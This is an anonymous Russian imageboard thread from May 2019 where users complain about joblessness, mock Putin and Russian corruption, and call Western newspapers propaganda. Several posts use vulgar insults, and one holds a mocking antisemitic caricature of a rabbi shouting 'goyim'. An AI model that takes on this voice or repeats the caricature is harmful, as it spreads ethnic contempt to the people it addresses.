1558810853607.webm (1307Кб, 640x360, 00:00:11)
640x360
Аноним 25/05/19 Суб 22:01:14 19701896498
>>197008003 (OP)
Никак. Всем насрать, да и легивон теперь только под себя набигать ходить умеет
Аноним 25/05/19 Суб 22:06:02 19701923899
>>197012008
Я не могу найти тянку найти в том числе из-за отсутствия работы. С работы меня уволили и нормальной нету.
Аноним 25/05/19 Суб 22:06:49 197019279100
>>197018964
Фестиваль перенесли, иди нахуй.
Аноним 25/05/19 Суб 22:07:43 197019330101
>>197008003 (OP)
Смешно хоть?
Они, вообще, и над своими горазды потешаться, даже в прямом эфире, лол, я бы не переживал, а завидовал бы такой свободе слова.
Аноним 25/05/19 Суб 22:09:37 197019436102
>>197019279
Никого говном не облили. Так что сосаттб
Аноним 25/05/19 Суб 22:10:11 197019470103
05b9eb3ceba8a02[...].jpg (73Кб, 500x328)
500x328
Аноним 25/05/19 Суб 22:12:16 197019589104
Тащемта, правильно смеются. Мне видится, что пыня - либо сидит каждый день, смотрит новости про нищих бабок и с лицом Раввина Зильбермана ехидно кричит что-то типа: "ИИИИ ГЛУПЫЕ ПИДОРАХИ, ГОИ, ВОТ ВАМ! ТУПОЕ БЫДЛО ИИИИИ!!!!! НОВЫЙ НАЛОГ, НОВЫЙ СБОР, НОВЫЙ ЗАКОН ИИИИ!!!!!", либо реально маразматичный дед, которому из года в год подсовывают потёмкинские деревни, а он сидит в информационном карантине и свято верит, что он делает все на благо его любимой России. И я даже не знаю, что из этого хуже.
Аноним 25/05/19 Суб 22:31:59 197020800105
>>197008161
>многомиллиардные откаты и коррупционная власть
Хм, как же, как же россиюшке встать с колен... ох, непростой вопрос, дай подумать
Аноним 25/05/19 Суб 22:32:54 197020859106
Аноним 25/05/19 Суб 23:50:40 197025087107
>>197018743
>А ВОТ В РОССИИ!!11
лол киберсотне НЕПРИЯТНО4

нйтаймс и таймс и гардиан - дешевеы пропаганадитсие параши, как и ббс, на уровне униана

Настройки X
Ответить в тред X
15000 [S]
Макс объем: 20Mб, макс кол-во файлов: 4
Кликни/брось файл/ctrl-v
X
Ваш шидевор X
Стикеры X
Избранное / Топ тредов